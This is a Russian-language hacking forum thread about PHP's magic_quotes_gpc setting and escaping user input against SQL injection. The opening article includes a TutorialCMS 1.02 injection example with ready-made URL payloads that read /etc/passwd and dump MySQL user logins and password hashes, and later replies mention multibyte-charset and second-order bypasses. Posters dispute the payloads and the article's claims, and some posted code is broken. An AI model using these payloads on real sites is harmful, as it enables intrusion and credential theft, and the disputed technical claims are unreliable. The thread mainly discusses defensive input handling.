PDA

Просмотр полной версии : Укрощение magic_quotes_gpc


-=lebed=-
14.01.2008, 15:26
Укрощение magic_quotes_gpc

[INTRO]
В настоящей статье пойдет речь об одном из конфигурационных параметров языка программирования PHP — magic_quotes_gpc. Этот параметр играет важную роль, касающуюся, прежде всего, безопасности функционирования любого веб-приложения, обрабатывающего данные, полученные от пользователя и использующего для их хранения базу данных MySQL.

[At that affect?]
Параметр magic_quotes_gpc влияет на то, как будут обрабатываться специальные символы, содержащиеся в данных, передаваемых пользователем (массивы $_GET, $_POST, $_COOKIE). При magic_quotes_gpc = 1 эти спецсимволы [одиночные (') и двойные кавычки ("), обратный слеш (\), байт NULL] автоматически экранируются интерпретатором PHP (перед каждым таким символом добавляется обратный слеш). При magic_quotes_gpc = 0 все данные передаются в таком виде, в каком их ввел пользователь. В последнем случае в целях безопасности требуется обрабатывать передаваемые данные (в противном случае возможна атака SQL-injection) непосредственно в коде приложения. Для этого в PHP существует функция addslashes (выдержка из документации):

$str = "Is your name O'reilly?";

# выводит: Is your name O\'reilly?
echo addslashes($str);

[magic_quotes_gpc 0 or 1?]
Все, вроде бы, просто. Использование в коде приложения функции addslashes в случае, если заведомо известно, что директива magic_quotes_gpc равна 0, вполне обосновано. Но что если администратор хостинга решит установить ее значение в единицу? Будет происходить двойное экранирование спецсимволов! Поэтому, функцию addslashes необходимо применять только в том случае, когда magic_quotes_gpc = 0. Получить текущее значение данного конфигурационного параметра можно при помощи стандартной функции get_magic_quotes_gpc. Таким образом, более универсальный код будет иметь следующий вид:

$str = "Is your name O'reilly?";
$str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str;

# выводит при любых настройках PHP: Is your name O\'reilly?
echo $str;

[Create function]
Если писать каждый раз такую конструкцию, то код разрабатываемого веб-приложения становится достаточно громоздким. Гораздо эффективней использовать в начале каждого файла PHP универсальный код, осуществляющий при необходимости описанную выше обработку. Он будет иметь следующий вид:

function addslashes_for_array(&$arr)
{
foreach($arr as $k=>$v)
{
if (is_array($v))
{
addslashes_for_array($v);
$arr[$k] = $v;
}
else
{
$arr[$k] = addslashes($v);
}
}
}

function fix_magic_quotes_gpc()
{
if (!get_magic_quotes_gpc())
{
addslashes_for_array($_POST);
addslashes_for_array($_GET);
addslashes_for_array($_COOKIE);
}
}

# экранирует при необходииости строки в $_GET, $_POST, $_COOKIE
fix_magic_quotes_gpc();

Следует заметить, что описанный код учитывает также тот факт, что в переменных $_GET, $_POST, $_COOKIE могут передаваться не только строки, но и многомерные массивы строк.
[End of]
В ходе проведенного недавно нашей компанией исследования некоторых веб-сайтов выяснилось, что многие достаточно известные веб-разработчики не учитывают параметр magic_quotes_gpc. А жаль...

[Example]
Программа: TutorialCMS 1.02 (возможно и более ранние версии)

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «userName» сценарием activate.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

http://[target]/activate.php?userName=[SQL-inj]
Условие: magic_quotes_gpc = off (при magic_quotes_gpc=1 код не уязвим.)
Уязвимый код:

...........
$userName = $_GET["userName"];
$code = $_GET["activate"];
...........
$sql = "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'";
...........

Сайт производителя: www.wavelinkmedia.com
Скачать TutorialCMS 1.02 http://www.wavelinkmedia.com/scripts/tutorialcms/
Прмеры запросов:
1. Читаем /etc/password

http://[target]/activate.php?userName='+union+select+1,2,3,4,load_ file(0x2f6574632f706173737764),6,7,8,9,10,11,12,13/*

2. Читаем логины и пароли:

http://[target]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,1 0,11,12,13/**/from/**/mysql.user/*

Пароль зашифрован в MD5, расшифровываем и пробуем войти в админку:

http://[target]/admin


www.controlstyle.ru, www.milw0rm.com

nerezus
14.01.2008, 15:33
Проще всего проверить gpc и если оно включено, то обработать все, убрав его.
Дальще действовать как и в случае, если админ не долбостук )

_Great_
14.01.2008, 16:21
Тупое добавление слешей во все параметры это бред. Каждый параметр нужно обрабатывать индивидуально в соответствии с предполагаемым типом. Например, строку перед добавлением в базу прогнать через mysql_escape_string. перед выводом в браузер порезать теги, если это нужно. а это - вырезание гланд через ж..

-=lebed=-
14.01.2008, 16:39
Я так понял в статье рассматривался вариант написания независимого кода от заначения параметра magic_quotes_gpc, т.е. чтоб код одинаково работал как при magic_quotes_gpc=0, так и при magic_quotes_gpc=1. Всё это касательно получаемых данных из массивов $_GET, $_POST, $_COOKIE.
PS Цель статьи показать лишь, то что надо не забывать об этом важном параметре, так как видим скрипты пишут в надежде что magic_quotes_gpc=1, а при magic_quotes_gpc=0 скрипт уязвим...

Isis
14.01.2008, 16:40
Мда..как Great сказал тут нужно к каждому параметру подходить индивидуально
$str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str;
Тут надо пояснить что передает параметр $str, если не фицры, то лучше использовать mysql_escape_string, а не addslashes, если же в параметры только цифры, то зачем addslsshes когда хватит intval($str)

krypt3r
15.01.2008, 08:25
Честно говоря, пример с TutorialCMS не слишком удачный. В коде в запросе SELECT стоит выбор одной колонки - activated, в примерах запросов аж по 13 штук. /etc/passwd можно прочитать лишь сами знаете при каких привилегиях. Данные из базы можно прочесть далеко не всегда. И еще возникло впечатление, что прочитав mysql.user и расшифровав пароль, мы получим пасс на админку TutorialCMS o_O
И, кстати говоря, указанная уязвимость приводит к слепой скуле - на экран ничего не выводится - ни /etc/passwd мы не прочитаем, ни пароли из базы не выцепим.

-=lebed=-
15.01.2008, 09:45
Честно говоря, пример с TutorialCMS не слишком удачный. В коде в запросе SELECT стоит выбор одной колонки - activated, в примерах запросов аж по 13 штук. /etc/passwd можно прочитать лишь сами знаете при каких привилегиях. Данные из базы можно прочесть далеко не всегда. И еще возникло впечатление, что прочитав mysql.user и расшифровав пароль, мы получим пасс на админку TutorialCMS o_O
И, кстати говоря, указанная уязвимость приводит к слепой скуле - на экран ничего не выводится - ни /etc/passwd мы не прочитаем, ни пароли из базы не выцепим.
Пример не с потолка а с milw0rm - эксплоит (http://www.milw0rm.com/exploits/4901)
Скачал эту cms, запустил на локалхосте, действительно колонка одна и вывода нет, откуда взялись такие запросы на милворме, для меня загадка...

по поводу паса на админку - он хранится в таблице users см. exploit.

krypt3r
15.01.2008, 11:52
хе, наверно, скопипастили не то, что хотели на милворм :)

groundhog
16.01.2008, 10:44
Как-то тут всё сложно...

function my_evil_func ($func, $arr) {
$result = array();
foreach ($arr as $key => $value)
$result[$key] = (is_array($value) ? my_evil_func($func, $value) : $func($value));
return $result;
}

Да и вообще, в большинстве случаев можно обойтись конструкцией вида:

$var = array_map('addslashes', $_REQUEST);

И как было замечено - к каждому параметру нужен индивидуальный подход, исходя из типа параметра и того, где он будет использоваться...

Developer
12.02.2008, 16:28
omg, subj...

<?php

function addslashes4array($array)
{
$result = array();
foreach ($array as $key => $value) {
if (is_array($value)) {
$result[$key] = addslashes4array(($value);
} else {
$result[$key] = addslashes($value);
}
}
return $result;
}

if (!get_magic_quotes_gpc()) {
addslashes4array($_REQUEST);
}

?>

Вообще предпочитаю делать наоборот:

<?php

function stripslashes4array($array)
{
$result = array();
foreach ($array as $key => $value) {
if (is_array($value)) {
$result[$key] = stripslashes4array(($value);
} else {
$result[$key] = stripslashes($value);
}
}
return $result;
}

if (get_magic_quotes_gpc()) {
stripslashes4array($_REQUEST);
}

?>

И потом уже отдельно фильтровать данные в нужных мне местах...

LokbatanLi
26.08.2009, 10:58
a kak znat magic_quote on ili off??

L I G A
19.09.2009, 13:58
>>a kak znat magic_quote on ili off??
в php.ini глянь

LokbatanLi
20.09.2009, 12:06
ne ponel

Root-access
15.11.2009, 16:58
a kak znat magic_quote on ili off??

Функция ini_get('magic_quotes_gpc') или get_magic_quotes_gpc() выдаст значение этого параметра в php.ini (0 или 1).

Root-access
22.01.2010, 20:42
В очередной раз попав в эту тему, совершенно не понял, о чём она.
То ли я что-то не понимаю, то ли другие... Надо разобраться.

Но что если администратор хостинга решит установить ее значение в единицу? Будет происходить двойное экранирование спецсимволов! Поэтому, функцию addslashes необходимо применять только в том случае, когда magic_quotes_gpc = 0.

Чем не нравится двойное экранирование?
Допустим есть код:

$name = addslashes($_GET['name']);
$query = "SELECT * FROM users WHERE username = '$name'";

Подаём на вход кавычку.
При magic_quotes_gpc = Off:
SELECT * FROM users WHERE username = '\''
Всё хорошо
При magic_quotes_gpc = On:
SELECT * FROM users WHERE username = '\\\''
Опять всё хорошо - за пределы кавычек выйти не получается.
Где уязвимость?!

Программа: TutorialCMS 1.02 (возможно и более ранние версии)

Насчёт примера вообще непонятно, к чему он здесь - там нет никакой фильтрации, понятно, что без слеширования код уязвим. Казалось бы, тема о безопасном использовании функций слеширования независимо от конфигурации php.

P.S. Чтоб убедить меня в осмысленности этой темы, напишите, пожалуйста, код, обрабатывающий входные параметры функцией addslashes() и уязвимый при magic_quotes_gpc = On.

[NiGHT]DarkAngel
22.01.2010, 20:52
Присоединяюсь,к Root-access ... тоже не нашел в этой статье уязвимости ... если таковая действительно есть, то прошу более компетентных людей показать уязвимый код и эксплуатацию уязвимости. Заранее благодарен.

PandoraBox
23.01.2010, 04:44
+ ко всему для PHP 5.3+ добавить перед
@set_magic_quotes_runtime(0);
@ini_set("magic_quotes_runtime", 0);

GivioN
02.04.2010, 23:46
http://[target]/activate.php?userName=[SQL-inj]
Условие: magic_quotes_gpc = off (при magic_quotes_gpc=1 код не уязвим.)
Уязвимый код:

...........
$userName = $_GET["userName"];
$code = $_GET["activate"];
...........
$sql = "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'";
...........

Почему с magic_quotes_gpc=1 код не уязвим? ну экранируются некоторые спец символы, но без них же можно провести инъекцию? или что-то не понимаю?

ShAnKaR
03.04.2010, 00:27
Почему с magic_quotes_gpc=1 код не уязвим? ну экранируются некоторые спец символы, но без них же можно провести инъекцию? или что-то не понимаю?
из кавычек выйти не сможешь

GivioN
03.04.2010, 00:39
А если представить в другой кодировке, например %27 или закриптовать и раскриптовать сразу? или эти функции не будут выполнятся пока не выйдят за ковычку? То есть ситуация на 100% безвыходная?

Strilo4ka
03.04.2010, 01:44
А если представить в другой кодировке, например %27 или закриптовать и раскриптовать сразу? или эти функции не будут выполнятся пока не выйдят за ковычку? То есть ситуация на 100% безвыходная?Ответ уже был в посте выше, кавычку в запросе надо закрывать, после нее пихаеться SQL код! Если были бы, например, другие масивы , а не: GET POST COOKIE - то код был бы уязвим при magic_quotes_gpc=1, точнее сами переменные инициализировлаись ис других масивов.
GivioN, если придумаете метод как обойти "маг. кавычки" пишыте сюда. :)

Scipio
03.04.2010, 04:41
А если представить в другой кодировке, например %27 или закриптовать и раскриптовать сразу? или эти функции не будут выполнятся пока не выйдят за ковычку? То есть ситуация на 100% безвыходная?
Ситуация скорее на 99или сколько там% безвыходная, но не на 100% про это писалось и про это можно найти на оф. сайте php

GivioN
03.04.2010, 10:17
А я то думал веб-хакинг рулит :)
И зачем тогда фильтровать переменные?!!
Хотя киньте пожалуйста пару ссылок почитать про эти частные случаи

Root-access
03.04.2010, 11:21
Дак вот покажите эти случаи, когда дерективу можно обойти.

При использовании многобайтных кодировок типа BIG5.

Strilo4ka: да, экранируется только GPC, невнимательно твой пост прочитал, извиняюсь.

Strilo4ka
03.04.2010, 12:01
Вот так эта статья внесла в массы странный слух. Код не будет, чёрт возьми, уязвим при magic_quotes_gpc=1 за исключением редких случаев, когда эту директиву можно обойти.
Ты вчитывайся в тему, там =lebed= наврал )
https://forum.antichat.ru/showpost.php?p=1846134&postcount=15
Я имел ввиду по документации данные других масивов, не GPС, не екранируються. Если они используються в запросах, то можно експлуатировать SQL ing(ну конечно если кодер сам их не екранирует) и пофик какое значение директивы...

Я считаю тема названия правильна! Укрощение - это имееться ввиду для кодера чтоб он не тупил(двойное екранирование никому не нужно) и если mg=off, то чтоб екранировал. Да, конечно, левые куски кода нафик нужны, но так наданый момент нужно! Кстати, тут нет а чем вести дискусию.

Если есть обход mg именно в нужных данных, то стоило б здесь писать как правильно "укрощать".
имхо

max_pain89
03.04.2010, 12:15
Какой addslashes блин? Реальные перцы уже на mysql_real_escape_string перешли.

GivioN
03.04.2010, 12:41
Какой addslashes блин? Реальные перцы уже на mysql_real_escape_string перешли.


Экранирование слешем уязвимо? Что ты хочешь этим сказать?

Strilo4ka
03.04.2010, 13:05
Какой addslashes блин? Реальные перцы уже на mysql_real_escape_string перешли.
Ага, она корректно работает с многобайтными кодировками, только применять можна после установки соедниения, в противном случае возникнет ошибка уровня E_WARNING!

GivioN
04.04.2010, 09:54
То есть, если ковычка будет в многобайтной кодировке, то magic_quotes_gpc=1 и addslashes её не смогут экранировать?

Strilo4ka
11.04.2010, 04:23
Какой addslashes блин? Реальные перцы уже на mysql_real_escape_string перешли.
Иногда можна обойти, если 2-ой запрос использует даные с первого, и т.д!

"2nd order Injection"
_http://oxod.ru/?p=97

Twoster
14.04.2010, 09:34
Иногда можна обойти, если 2-ой запрос использует даные с первого, и т.д!

"2nd order Injection"
_http://oxod.ru/?p=97
это как бы не новость, и ничего удивительного я не увидел, естественно что нужно фильтровать ВСЕ запросы в базу, не важно от кого они посылаются, от клиента/базы/скрипта...

Strilo4ka
14.04.2010, 12:03
это как бы не новость, и ничего удивительного я не увидел, естественно что нужно фильтровать ВСЕ запросы в базу, не важно от кого они посылаются, от клиента/базы/скрипта...Я знаю что не новость, я написал для тех кто не знает!
(для меня лично тоже не новость)
Думаю GivioN не знал, и другие...